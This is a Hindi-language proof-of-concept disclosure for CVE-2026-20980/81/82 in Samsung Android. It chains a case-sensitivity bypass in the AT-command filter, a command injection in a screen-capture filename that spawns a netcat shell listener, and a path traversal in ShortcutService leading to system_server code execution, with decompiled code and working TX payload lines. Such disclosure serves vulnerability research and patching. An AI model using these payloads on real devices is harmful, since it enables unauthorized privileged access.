
CVE-2026-20980, CVE-2026-20981, CVE-2026-20982 के लिए Poc
एप्लिकेशन प्रोसेसर (AP) कमांड, अनलॉक किए गए डिवाइस में कनेक्शन मोड स्विच करने के बाद at_distributor द्वारा निम्न कमांड का उपयोग करके प्रबंधित किए जाते हैं।
AT+SWATD=0
AT+ACTIVATE=0,0,0
AT+SWATD=1
at_distributor, pacm_check_at_cmds फ़ंक्शन के माध्यम से AT कमांड सत्यापित करता है।
void main(int32_t arg1, void* arg2) __noreturn
{
int32_t var_21b0 = arg1;
data_42c170 = SignalHandler;
sigemptyset(0x42c178);
...
if (pacm_check_at_cmds(&data_42c1b4, &var_2160, &data_404a82, v0_11) != 1) {
SendToTerminal(&var_2160,
__strlen_chk(&var_2160, 0x80)
} else {
__android_log_print(3, "AT_Distributor", "%s()", "HandleMessageFromUart");
...
}
...
}
फ़ंक्शन का लॉजिक यहाँ स्थित है
ldd at_distributor
libpacm_client.so => /system/lib64/libpacm_client.so
फ़ंक्शन is_multiple_cmds को कॉल करता है, जो जाँचता है कि AT कमांड में एकाधिक कमांड शामिल हैं या नहीं।
uint64_t pacm_check_at_cmds(int64_t arg1, char* arg2)
{
uint64_t x24 = _ReadMSR(tpidr_el0);
int64_t x8 = *(x24 + 0x28);
int32_t var_284;
...
if (!arg1)
{
__android_log_print(6, "PACMAN", "%s : AT Command is NULL\n", "pacm_check_at_cmds", v0);
x20_1 = var_284;
...
} else {
Command::set_command(&var_280);
char var_2d0;
void* var_2c0;
if (var_2d0 & 1)
operator delete(var_2c0, var_2d0 & 0xfffffffffffffffe);
int32_t x8_6;
if (!Command::is_multiple_cmds())
{
int32_t x0_13;
int128_t v0_1;
x0_13 = Command::preprocess_cmds(&var_280);
...
}
...
}
}
int64_t Command::is_multiple_cmds()
{
...
size_t x0 = strlen("
at+");
if (x0) {
...
memcmp(x0_4, "
at+", x0);
...
}
size_t x0_1 = strlen("
AT+");
if (x0_1) {
...
memcmp(x0_7, "
AT+", x0_1);
...
}
size_t x0_2 = strlen("
at+");
if (x0_2) {
...
memcmp(x0_10, "
at+", x0_2);
...
}
size_t x0_3 = strlen("
AT+");
if (x0_3) {
...
memcmp(x0_13, "
AT+", x0_3);
...
}
...
return 1;
}
इसलिए इस पेलोड वाला AT कमांड विफल हो जाएगा।
TX: AT+\nAT+VERSNAME=3,2,1
RX: +CME Error:PACM(AP),MULTIPLE_CMD
लेकिन is_multiple_cmd "aT+" या "At+" को सत्यापित नहीं कर पाता, इस प्रकार संरक्षित/अपंजीकृत कमांड निष्पादित हो जाता है।
TX: AT+\naT+VERSNAME=1,3,0 (Note:AT+VERSNAME=1,3,0 is a protected command)
RX: +VERSNAME:1,SM8550,SM8550
FacAtFunction(uid 1000) एक सिस्टम ऐप है, जो अधिकांश AP AT कमांड प्रोसेस करता है,
विशेष रूप से एक अपंजीकृत कमांड AT+CAMEAUTO
यह कमांड shell फ़ंक्शन/exec का उपयोग करके स्क्रीन कैप्चर करने के लिए प्रयोग किया जाता है।
...
if (checkArgu(strArr, new String[]{"0", "1", "0", "2"})) {
FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "handleCommand", "Screen Capture & File Name : " + strArr[4]);
screenCapture(strArr[4]);
FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "screenCapture", "result : 1");
str = responseOK(strArr[0]);
...
}
public final void screenCapture(String str) {
Process process;
FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "ScreenCapture Start");
...
String str3 = i < 10 ? m + "SCREENIMAGE0" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg" : m + "SCREENIMAGE" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg";
FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "screenCapture", str + i + " / " + str3);
?? r15 = {"/system/bin/sh", "-c", str3};
Process process2 = null;
try {
try {
FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "capture command");
process = Runtime.getRuntime().exec(r15);
...
...
}
फ़ाइलनाम उपयोगकर्ता से लिया जाता है, लेकिन screenCapture फ़ंक्शन फ़ाइलनाम को सैनिटाइज़ करने में विफल रहता है। और चूंकि हम भाग 1 से अपंजीकृत कमांड निष्पादित कर सकते हैं, इसे निम्न प्रकार निष्पादित किया जा सकता है।
TX: AT\naT+CAMEAUTO=0,1,0,2,/;/system/bin/toybox netcat -s 127.0.0.1 -p 1234 -L sh -l;
RX: OK
Samsung ने Smart Switch के लिए Bitmap फ़ाइलों को पुनर्स्थापित करने हेतु कस्टम restore विधि लागू की है।
public void restoreBitmapsFromBackupService(ParcelFileDescriptor parcelFileDescriptor, String str, String str2) {
enforceScloudBackupWritePermission();
try {
ParcelFileDescriptor.AutoCloseInputStream autoCloseInputStream = new ParcelFileDescriptor.AutoCloseInputStream(parcelFileDescriptor);
FileOutputStream openIconFileForWriteSmartSwitch = openIconFileForWriteSmartSwitch(0, str, str2);
byte[] bArr = new byte[1024];
while (true) {
int read = autoCloseInputStream.read(bArr);
if (read <= 0) {
break;
}
openIconFileForWriteSmartSwitch.write(bArr, 0, read);
}
if (openIconFileForWriteSmartSwitch != null) {
openIconFileForWriteSmartSwitch.close();
}
autoCloseInputStream.close();
} catch (Exception unused) {
}
}
public final FileOutputStream openIconFileForWriteSmartSwitch(int i, String str, String str2) {
File file = new File(getUserBitmapFilePath(i), str);
if (!file.isDirectory()) {
file.mkdirs();
if (!file.isDirectory()) {
Slog.d("ShortcutService", "Unable to create directory " + file);
throw new IOException("Unable to create directory " + file);
}
SELinux.restorecon(file);
}
File file2 = new File(file, str2);
if (file2.exists()) {
Slog.d("ShortcutService", "Unable to create file - already exists " + file2);
throw new IOException("Unable to create file - already exists " + file2);
}
return new FileOutputStream(file2);
}
public final void enforceScloudBackupWritePermission() {
injectEnforceCallingPermission("com.samsung.android.scloud.backup.lib.write", null);
}
restoreBitmapsFromBackupService permission "com.samsung.android.scloud.backup.lib.write" से सुरक्षित है; हम भाग 2 के uid 1000 का उपयोग करेंगे, जिसके पास फ़ंक्शन को कॉल करने के लिए आवश्यक permission है।
यहाँ यह str(directory) और str2(filename) को path traversal से सैनिटाइज़ करने में विफल रहता है।
चूंकि ShortcutService system_server प्रक्रिया में चलता है, हम किसी सिस्टम ऐप का base.apk ओवरराइट कर सकते हैं या packages.xml को संशोधित करके system_server में कोड निष्पादन प्राप्त कर सकते हैं।